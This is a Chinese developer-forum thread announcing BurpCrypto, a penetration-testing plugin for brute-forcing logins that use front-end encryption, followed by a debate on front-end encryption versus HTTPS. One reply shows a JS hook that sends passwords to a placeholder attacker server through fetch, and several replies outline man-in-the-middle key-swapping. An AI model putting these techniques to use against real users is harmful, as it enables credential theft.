一款用于爆破前端加密登陆的 BurpSuite 插件

2021-01-07 09:19:30 +08:00
 whwlsfb

现在使用前端加密进行登陆的网站越来越多了,出于方便渗透测试中进行密码爆破,我开发了一个支持 AES/RSA/DES 加密算法,同时也支持将 js 代码直接复制进去执行的小插件。( JS 执行完全在 Java 内部进行,不需要第三方软件)

该插件经测试可以在 BurpSuite 的 1.7.37~2020.12.1 版本中正常运行,同时插件完全开源,你可以自己下载源码使用 Idea 编译,或者在 Release 里下载已经编译好的版本,如果使用上遇到问题也欢迎提 Issue 、PR 。

项目地址: https://github.com/whwlsfb/BurpCrypto

使用说明: https://blog.wanghw.cn/security/burpcrypto-tutorial.html

AES 加密示例:

如果觉得对你有帮助,请随手点个 star,谢谢啦~

6070 次点击
所在节点    信息安全
45 条回复
fuxiuyin
2021-01-07 13:40:25 +08:00
@whwlsfb 他的意思是在明文环境下,response 的时候直接把加密的 js 换掉,然后就干掉 js 加密了。
nnnToTnnn
2021-01-07 13:45:10 +08:00
@fuxiuyin 注入 JS 代码,hook 一下加密的函数,然后将参数发送到服务器

例如 源代码

const encode = (txt) => {
return newTxt;
}

通过中间人,直接修改 html 页面改成

const encode = (txt) => {
fetch('https:/攻击者服务器地址')
return newTxt;
}

这样就把用户的密码完全上传到给服务器了
whwlsfb
2021-01-07 13:46:26 +08:00
@nnnToTnnn 首先,前端加密使用 RSA 算法的话,js 代码里提供的的公钥,而公钥是公开的,就像你现在电脑的根证书库的证书一样,只有证书的公钥信息。而通过公钥加密后的数据是必须要使用私钥进行解密的,公钥是无法解密公钥自身加密后的数据。所以就算你窃取到了也无法解密。

另外你说的证书认证确实能解决根证书的问题,但是除了银行和一些 zf 网站,有多少 https 网站会在访问时做证书验证? HTST 也不是加密里面的概念,HTST 只是为了用户访问服务器保持使用 https 协议而已,对于通讯过程中的数据并没有参与。
nnnToTnnn
2021-01-07 13:50:40 +08:00
@whwlsfb 前端加密使用 RSA 算法。

那么就是

客户端 -> 公钥加密 -> 服务器 -> 私钥解密内容。


那么攻击手段

抓包 -> 注入 JS -> 客户端加密公钥信息 -> 服务器接收消息 -> 返回给客户端 -> 客户端解密 -> 执行 注入的 JS 程序


也就是,直接在你代码中修改发送数据,和接受数据,解密后的操作。 达到中间人攻击。
nnnToTnnn
2021-01-07 13:54:10 +08:00
HTST 就是为了防止中间人攻击而诞生的,保证不会被降级攻击,说来降级攻击,对于前端加密,又存在一种攻击思路


抓包 -> 将公钥替换为中间人的公钥 -> 客户端发送数据给中间人 -> 中间人私钥解密 -> 中间人拿到之前的公钥 -> 伪造数据发送给服务器 -> 服务器返回数据给中间人 -> 中间人采用自己的私钥加密 -> 客户端拿到信息用中间人的公钥来进行解密。


攻击成立,所以加密了一个寂寞~
GuuJiang
2021-01-07 13:57:42 +08:00
@whwlsfb 证书验证是浏览器的行为,不存在有的网站做有的网站不做,除非是 native 程序可以自行加入 ssl pinning,至于用户自行安装根证书这种行为属于社工问题不属于技术问题
你对中间人存在误解,就拿你说的 RSA 加密来说,如果传输没有经过 https,那中间人完全可以把公钥替换为自己的公钥,这才是最典型的一种中间人攻击的场景,而 https 之所以能对抗中间人就是因为借助证书来保证了拿到的公钥一定是真实的公钥
总结来说,如果传输已经是 https,而前端额外进行一次加密纯属脱裤子放屁,而如果传输不走 https,完全依赖前端加密,那只能自求多福了
whwlsfb
2021-01-07 13:58:07 +08:00
@nnnToTnnn
@fuxiuyin
确实,你这个操作前端加密是防不了,前端加密只是用于防御登录过程中那种自动抓取账号密码的行为,但是你这动作就太大了吧喂😂
而且你这种方式往往窃取到了也会影响正常的网站工作流程,除非给每个网站都做定制,时间成本会比较高
绝对的安全是不存在的,理论上只要肯付出时间什么系统都是不安全的
nnnToTnnn
2021-01-07 13:58:32 +08:00
@whwlsfb 如果不能解决证书的信任问题,那么即使前端加密了,也一样存在被攻击的可能性,如果解决了证书信任问题,回头来一看,这不就是 https 协议嘛~

所谓的前端 RSA 的加密,只不过是在手动实现浏览器的 https 协议,而且实现的还有漏洞。

如果你的代码前端加密,没有使用 https,那么和没加密无任何区别,别人一样可以发动中间人,在你网页中植入广告,注入 JS 盗取用户账号密码,盗取用户口令,以及黑掉别人页面。
Ranying
2021-01-07 14:01:38 +08:00
上面的 HTST 确认不是 HSTS 还是我学识浅薄
myqoo
2021-01-07 14:01:57 +08:00
nnnToTnnn
2021-01-07 14:02:50 +08:00
@Ranying 不要意思打错了,就是 HSTS,然后打成 HTST 大哭.jpg
whwlsfb
2021-01-07 14:03:35 +08:00
@Ranying 确实是 HSTS,我直接复制过去了🤣
whwlsfb
2021-01-07 14:06:13 +08:00
@GuuJiang 27 楼
nnnToTnnn
2021-01-07 14:10:28 +08:00
@myqoo


```
export function hash(passBin: Bytes, saltBin: Bytes, dkLen: number) {
mAsmU8.set(passBin, mPassPtr);
mAsmU8.set(saltBin, mSaltPtr);

mPassLen = passBin.length;
mSaltLen = saltBin.length;
mDkLen = dkLen;

mRunning = true;
mIterCur = 0;
mDoingCounter = 0;
mDoneCounter = 0;

// [B0, B1, ..., Bp] <- PBKDF2(pass, salt)
mAsmObj._PBKDF2_OneIter(
mPassPtr, mPassLen,
mSaltPtr, mSaltLen,
mBlksPtr, mBlkLen * mArgP
);

// console.log('smix pre:',
// bytesToHex(mAsmU8, mBlksPtr, mBlkLen * mArgP)
// );

for (let i = 0; i < mThreads; i++) {
task(mWorkerPool[i]);
}
}

```

登入思路就是这个,跟踪一下 task 就知道了~
whwlsfb
2021-01-07 14:22:59 +08:00
@GuuJiang 补充一下,我说的证书验证指的是客户端证书验证,比如常见的 U 盾、yubico 、或者证书库中的客户端证书。
followsin
2021-01-07 16:40:47 +08:00
加密也不一定是为了防中间人攻击吧...有的时候就是后端接口的数据不想被人简单的看到所以做了加密,前端配合做加解密而已。传回来一堆字符串总比打开 f12 直接就能看到接口数据要好一点。
ByZHkc3
2021-01-07 16:42:29 +08:00
@warcraft1236 增加共计成本
ByZHkc3
2021-01-07 16:43:32 +08:00
加密是为了增加攻击成本,都散了吧
warcraft1236
2021-01-07 16:49:17 +08:00
我理解防中间人主要是为了防止用户的电脑上有恶意程序,或者整个网络通信链路上有恶意程序,来抓取用户发出去的数据之类的,这个过程 https 已经做的很好了,我觉得一般的前端程序员去自己做的加密逻辑无法比 https 这一套逻辑保证的更好

所以,对于防中间人,我觉得直接用 https 就行了,web 页面自己在做一层加密没有什么必要


对于 https 来说,如果电脑上信任了一些根证书,然后通过这个证书确实可以抓取 https 的数据,charles 这类的抓包软件就是这么实现的,如果是想着 web 页面自己加密数据,是为了防止 charles 这类的工具抓到明文数据,那么,实施攻击的人完全可以逆向 web 页面的逻辑,而发现加密的方法和证书什么的,

所以,这种情况下,web 页面自己做一层加密也没有起到很好的效果
warcraft1236
2021-01-07 16:51:38 +08:00
@musi 这个不需要我来破解,破解的人挺多的,理论上 web 页面的东西都能逆向到,因为攻击者完全可以自己注册一个帐号在自己电脑上登录,这样也能去嗅探 web 页面整个登录流程是什么逻辑

这是一个专为移动设备优化的页面(即为了让你能够在 Google 搜索结果里秒开这个页面),如果你希望参与 V2EX 社区的讨论,你可以继续到 V2EX 上打开本讨论主题的完整版本。

https://www.v2ex.com/t/742397

V2EX 是创意工作者们的社区,是一个分享自己正在做的有趣事物、交流想法,可以遇见新朋友甚至新机会的地方。

V2EX is a community of developers, designers and creative people.

© 2021 V2EX